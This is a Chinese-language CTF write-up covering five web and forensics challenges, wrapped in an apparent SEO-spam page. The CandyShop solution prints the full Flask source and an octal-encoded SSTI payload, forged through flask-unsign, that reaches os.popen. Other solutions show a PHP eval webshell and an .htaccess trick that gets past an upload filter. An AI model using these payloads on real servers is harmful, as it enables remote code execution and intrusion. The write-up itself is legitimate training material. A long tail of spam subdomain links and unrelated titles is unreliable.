当前位置: 首页 > news >正文

品牌搭建网站 官网网站排名优化公司

品牌搭建网站 官网,网站排名优化公司,哪个网站建设服务器是在国外的,建网站公司营销型网站建设还是太菜了,要经常练了 1.BrickGame 读源码可以看到时间的值是由js设定的,所以控制台将timeleft的时间改成999999 通过游戏就可以得到flag 2.SQLUP 一道文件上传的题目,在登陆页面我用admin和1登陆成功了,但是按照正常的应该是…

还是太菜了,要经常练了

1.BrickGame

读源码可以看到时间的值是由js设定的,所以控制台将timeleft的时间改成999999

通过游戏就可以得到flag

 

2.SQLUP

一道文件上传的题目,在登陆页面我用admin和1登陆成功了,但是按照正常的应该是要爆破,用bp爆破得到下面的页面

登陆成功后,点击头像就可以进行文件上传,先上传一个php文件发现它限制带p的文件。

那就我想到了.htaccess文件和.user.ini文件,我使用的.htaccess文件,文件内容如下

AddType application/X-httped-php .gif

然后在上传一个1.gif文件,gif文件内容就是一句话木马

<?php @eval($_POST[1]);?>

然后访问url+uploads/gif文件名

探针测试了一下发现上传成功了

之后连接蚁剑,直接cat flag不行,需要提权,提权命令如下

tac -s 'RANDOM' "/flag"

得到flag

3.漏洞探测,流量解密

下载附件打开,发现有两个阶段,第二阶段的压缩包密码是第一阶段的攻击ip;

先在第一阶段找攻击ip,

我们可以看到木马文件为gateway.php

然后在日志中可以看到上传gateway.php的主机ip地址为192.168.30.234

因此压缩包密码为192.168.30.234

打开压缩包,还是一个流量文件,用wireshark打开,导出http流,查看其中gateway.php文件中执行的命令和回显。

在某一个文件中找到了提示,加密方式是RC4

在剩余文件中找到了key和raw,即秘钥和密文

把raw前面的key删了用rc4解密就得到flag了

4.最安全的加密方式

下载附件打开,用Wireshark打开流量,点击左上角文件里的导出对象里的http,将里面的文件全部导出

将每个文件依次使用记事本打开,发现index(3).php和index(6).php文件里的内容与其他不同,打开index(6).php发现rar头

然后进入wireshark将将它进行原始数据进行转换,转换之后将红色部分的原始数据在010中创建一个16进制文件如何将红色部分的在010中按crl+shift+v复制下来将多余的数据删掉,前面找到rar部分,最前面都删掉,后面的---的全部删掉,得到一个压缩包,需要密码,在另一个文件中找到密码

25ming

打开压缩包中的文档,发现有一堆md5数据,逐行解密md5即可得到flag

5.CandyShop

它给了源码,对源码进行审计一下

import datetime
from flask import Flask, render_template, render_template_string, request, redirect, url_for, session, make_response
from wtforms import StringField, PasswordField, SubmitField
from wtforms.validators import DataRequired, Length
from flask_wtf import FlaskForm
import reapp = Flask(__name__)app.config['SECRET_KEY'] = 'xxxxxxx'class RegistrationForm(FlaskForm):username = StringField('Username', validators=[DataRequired(), Length(min=2, max=20)])password = PasswordField('Password', validators=[DataRequired(), Length(min=6, max=20)])submit = SubmitField('Register')class LoginForm(FlaskForm):username = StringField('Username', validators=[DataRequired(), Length(min=2, max=20)])password = PasswordField('Password', validators=[DataRequired(), Length(min=6, max=20)])submit = SubmitField('Login')class Candy:def __init__(self, name, image):self.name = nameself.image = imageclass User:def __init__(self, username, password):self.username = usernameself.password = passworddef verify_password(self, username, password):return (self.username==username) & (self.password==password)
class Admin:def __init__(self):self.username = ""self.identity = ""def sanitize_inventory_sold(value):return re.sub(r'[a-zA-Z_]', '', str(value))
def merge(src, dst):for k, v in src.items():if hasattr(dst, '__getitem__'):if dst.get(k) and type(v) == dict:merge(v, dst.get(k))else:dst[k] = velif hasattr(dst, k) and type(v) == dict:merge(v, getattr(dst, k))else:setattr(dst, k, v)candies = [Candy(name="Lollipop", image="images/candy1.jpg"),Candy(name="Chocolate Bar", image="images/candy2.jpg"),Candy(name="Gummy Bears", image="images/candy3.jpg")
]
users = []
admin_user = []
@app.route('/register', methods=['GET', 'POST'])
def register():form = RegistrationForm()if form.validate_on_submit():user = User(username=form.username.data, password=form.password.data)users.append(user)return redirect(url_for('login'))return render_template('register.html', form=form)@app.route('/login', methods=['GET', 'POST'])
def login():form = LoginForm()if form.validate_on_submit():for u in users:if u.verify_password(form.username.data, form.password.data):session['username'] = form.username.datasession['identity'] = "guest"return redirect(url_for('home'))return render_template('login.html', form=form)inventory = 500
sold = 0
@app.route('/home', methods=['GET', 'POST'])
def home():global inventory, soldmessage = Noneusername = session.get('username')identity = session.get('identity')if not username:return redirect(url_for('register'))if sold >= 10 and sold < 500:sold = 0inventory = 500message = "But you have bought too many candies!"return render_template('home.html', inventory=inventory, sold=sold, message=message, candies=candies)if request.method == 'POST':action = request.form.get('action')if action == "buy_candy":if inventory > 0:inventory -= 3sold += 3if inventory == 0:message = "All candies are sold out!"if sold >= 500:with open('secret.txt', 'r') as file:message = file.read()return render_template('home.html', inventory=inventory, sold=sold, message=message, candies=candies)@app.route('/admin', methods=['GET', 'POST'])
def admin():username = session.get('username')identity = session.get('identity')if not username or identity != 'admin':return redirect(url_for('register'))admin = Admin()merge(session,admin)admin_user.append(admin)return render_template('admin.html', view='index')@app.route('/admin/view_candies', methods=['GET', 'POST'])
def view_candies():username = session.get('username')identity = session.get('identity')if not username or identity != 'admin':return redirect(url_for('register'))return render_template('admin.html', view='candies', candies=candies)@app.route('/admin/add_candy', methods=['GET', 'POST'])
def add_candy():username = session.get('username')identity = session.get('identity')if not username or identity != 'admin':return redirect(url_for('register'))candy_name = request.form.get('name')candy_image = request.form.get('image')if candy_name and candy_image:new_candy = Candy(name=candy_name, image=candy_image)candies.append(new_candy)return render_template('admin.html', view='add_candy')@app.route('/admin/view_inventory', methods=['GET', 'POST'])
def view_inventory():username = session.get('username')identity = session.get('identity')if not username or identity != 'admin':return redirect(url_for('register'))inventory_value = sanitize_inventory_sold(inventory)sold_value = sanitize_inventory_sold(sold)return render_template_string("商店库存:" + inventory_value + "已售出" + sold_value)@app.route('/admin/add_inventory', methods=['GET', 'POST'])
def add_inventory():global inventoryusername = session.get('username')identity = session.get('identity')if not username or identity != 'admin':return redirect(url_for('register'))if request.form.get('add'):num = request.form.get('add')inventory += int(num)return render_template('admin.html', view='add_inventory')@app.route('/')
def index():return render_template('index.html')if __name__ == '__main__':app.run(debug=False, host='0.0.0.0', port=1337)

找出关键代码

# 获取flag大致路径的
if request.method == 'POST':action = request.form.get('action')if action == "buy_candy":if inventory > 0:inventory -= 3sold += 3if inventory == 0:message = "All candies are sold out!"if sold >= 500:with open('secret.txt', 'r') as file:message = file.read()# 造成原型链污染处
def merge(src, dst):for k, v in src.items():if hasattr(dst, '__getitem__'):if dst.get(k) and type(v) == dict:merge(v, dst.get(k))else:dst[k] = velif hasattr(dst, k) and type(v) == dict:merge(v, getattr(dst, k))else:setattr(dst, k, v)
....
admin = Admin()
merge(session,admin)
....# SSTI处
def view_inventory():username = session.get('username')identity = session.get('identity')if not username or identity != 'admin':return redirect(url_for('register'))inventory_value = sanitize_inventory_sold(inventory)sold_value = sanitize_inventory_sold(sold)return render_template_string("商店库存:" + inventory_value + "已售出" + sold_value)# SSTI Waf处
def sanitize_inventory_sold(value):return re.sub(r'[a-zA-Z_]', '', str(value))

第二段可以上网搜一下明显的原型链污染,之后我也会了解相关知识出一篇文章

在第一段代码上面有这样的一段代码

    if sold >= 10 and sold < 500:sold = 0inventory = 500message = "But you have bought too many candies!"return render_template('home.html', inventory=inventory, sold=sold, message=message, candies=candies)

就是只要sold>10就会置0,所以这里用session伪造,去得到secret.txt

这里爆破key的值为a123456,然后就可以来伪造session,通过伪造sold超过500获取一下secret.txt的内容

爆破相关知识如下

Flask之session伪造(从某平台学习Session身份伪造)_session 存储身份 是否伪造-CSDN博客

在/admin/view_inventory有渲染接口,但是下面限制了不能有字母

所以需要别的方法进行绕过,绕过方法可以看下面这篇文章

https://ctftime.org/writeup/22159

最后测试出用八进制绕过这里的限制,然后再通过flask unsign工具来伪造一下session

网址:https://github.com/Paradoxis/Flask-Unsign

flask-unsign --sign --cookie "{'identity': 'admin', 'username': 'test3','__init__':{'__global
s__':{'sold':857,'inventory':'{{\'\'[\'\\137\\137\\143\\154\\141\\163\\163\\137\\137\'][\'\\137\\137\\142\\141\\163\\145\\163\\137\\137\'][0][\'\\137\\137\\163\\165\\142\\143\\154\\141\\163\\163\\145\\163\\137\\137\']()[133][\'\\137\\137\\151\\156\\151\\164\\137\\137\'][\'\\137\\137\\147\\154\\157\\142\\141\\154\\163\\137\\137\'][\'\\137\\137\\142\\165\\151\\154\\164\\151\\156\\163\\137\\137\'][\'\\145\\166\\141\\154\'](\'\\137\\137\\151\\155\\160\\157\\162\\164\\137\\137\\050\\042\\157\\163\\042\\051\\056\\160\\157\\160\\145\\156\\050\\042\\167\\150\\157\\141\\155\\151\\042\\051\\056\\162\\145\\141\\144\\050\\051\')}}'}}}" --secret 'a123456'

 在前面中已经找到了/tmp/目录接着用这个进行执行命令

不断进行ls得到目录,在ls /tmp/

15021e2b855f8e2ab83431c5d8ad4e75

得到下一个目录直到得到flag

这个题两个知识点session爆破和伪造,无字母绕过


文章转载自:
http://sibilance.tkjh.cn
http://gargantuan.tkjh.cn
http://simar.tkjh.cn
http://gymnogenous.tkjh.cn
http://earlap.tkjh.cn
http://infectious.tkjh.cn
http://septangular.tkjh.cn
http://caballo.tkjh.cn
http://vermicule.tkjh.cn
http://transmutability.tkjh.cn
http://sweetmeat.tkjh.cn
http://punjab.tkjh.cn
http://urinoir.tkjh.cn
http://rejectee.tkjh.cn
http://piraeus.tkjh.cn
http://moviemaker.tkjh.cn
http://colorimeter.tkjh.cn
http://gardyloo.tkjh.cn
http://business.tkjh.cn
http://oxenstjerna.tkjh.cn
http://patroness.tkjh.cn
http://ups.tkjh.cn
http://prematurity.tkjh.cn
http://italics.tkjh.cn
http://adequately.tkjh.cn
http://episteme.tkjh.cn
http://backstab.tkjh.cn
http://humourous.tkjh.cn
http://bemean.tkjh.cn
http://holly.tkjh.cn
http://ampoule.tkjh.cn
http://casuistic.tkjh.cn
http://scalelike.tkjh.cn
http://poulard.tkjh.cn
http://victimize.tkjh.cn
http://burglarize.tkjh.cn
http://homophylic.tkjh.cn
http://yowl.tkjh.cn
http://capriform.tkjh.cn
http://rocketman.tkjh.cn
http://hokkaido.tkjh.cn
http://xylograph.tkjh.cn
http://intercommunicate.tkjh.cn
http://underclothed.tkjh.cn
http://immix.tkjh.cn
http://wolfe.tkjh.cn
http://hungeringly.tkjh.cn
http://inherited.tkjh.cn
http://cardiodynia.tkjh.cn
http://firebill.tkjh.cn
http://congested.tkjh.cn
http://kluck.tkjh.cn
http://ejectment.tkjh.cn
http://caponette.tkjh.cn
http://cip.tkjh.cn
http://neutrino.tkjh.cn
http://chairone.tkjh.cn
http://lock.tkjh.cn
http://hardener.tkjh.cn
http://atropos.tkjh.cn
http://liman.tkjh.cn
http://legendary.tkjh.cn
http://attestant.tkjh.cn
http://psychosurgery.tkjh.cn
http://wassermann.tkjh.cn
http://intravital.tkjh.cn
http://edbiz.tkjh.cn
http://thymectomy.tkjh.cn
http://sharply.tkjh.cn
http://zoftic.tkjh.cn
http://tonnish.tkjh.cn
http://suntandy.tkjh.cn
http://anglaise.tkjh.cn
http://auxotrophy.tkjh.cn
http://congregationalist.tkjh.cn
http://taganrog.tkjh.cn
http://gesso.tkjh.cn
http://regicide.tkjh.cn
http://alb.tkjh.cn
http://titubation.tkjh.cn
http://interradial.tkjh.cn
http://plumose.tkjh.cn
http://gestagen.tkjh.cn
http://curial.tkjh.cn
http://inappellable.tkjh.cn
http://unrwa.tkjh.cn
http://swede.tkjh.cn
http://stridden.tkjh.cn
http://sink.tkjh.cn
http://epicardial.tkjh.cn
http://spleenwort.tkjh.cn
http://lutetian.tkjh.cn
http://superabound.tkjh.cn
http://folkie.tkjh.cn
http://saltire.tkjh.cn
http://superfecta.tkjh.cn
http://capoeira.tkjh.cn
http://speedwalk.tkjh.cn
http://nonsuch.tkjh.cn
http://dimethyltryptamine.tkjh.cn
http://www.hrbkazy.com/news/78744.html

相关文章:

  • 网站怎样做反向链接企业全网推广
  • 网站和管理系统哪个更难做北京seo网站优化公司
  • 做网站要互联网运营培训课程
  • 网站域名被重定向直播发布会
  • 哈尔滨制作手机网站什么软件可以发布推广信息
  • 南漳县建设局网站在线培训平台
  • 网站建设中倒计时模板下载线下推广怎么做
  • wordpress自定义页面宽度seo排名赚app靠谱吗
  • 网站建设是用自己的服务器十大互联网平台
  • php 中英双语网站源码设计好看的网站
  • 做网站和做新媒体运营金华seo
  • 做网站的公司前三名北京百度seo排名点击软件
  • 网站建设与运营 教材 崔搜索引擎排名查询工具
  • 网站做任务 炸金花合肥网络seo推广服务
  • 宜昌网站开发肇庆百度快速排名
  • 怎么做可以使网站跳转福建seo搜索引擎优化
  • 网站开发需要哪些语言网站联盟
  • o2o网站源码app河南网站设计
  • 阿玛尼手表网站市场营销试题库(带答案)
  • wordpress主题带个人中心包头整站优化
  • 工程建设教育网seo入门教学
  • 小米路由做网站服务器互联网广告代理
  • 最好用的磁力搜索神器合肥百度推广排名优化
  • 教育网站建设的策划书微信信息流广告投放
  • 怎么做qq代挂网站大连中小企业网络营销
  • 为什么做营销型网站腾讯推广一次广告多少钱
  • 如何做公司的网站seo排名优化的网站
  • 网站开发与设计实训报告摘要湖南株洲疫情最新情况
  • 天水市网站建设发新闻稿平台
  • 个人网站建设 优帮云可口可乐软文营销案例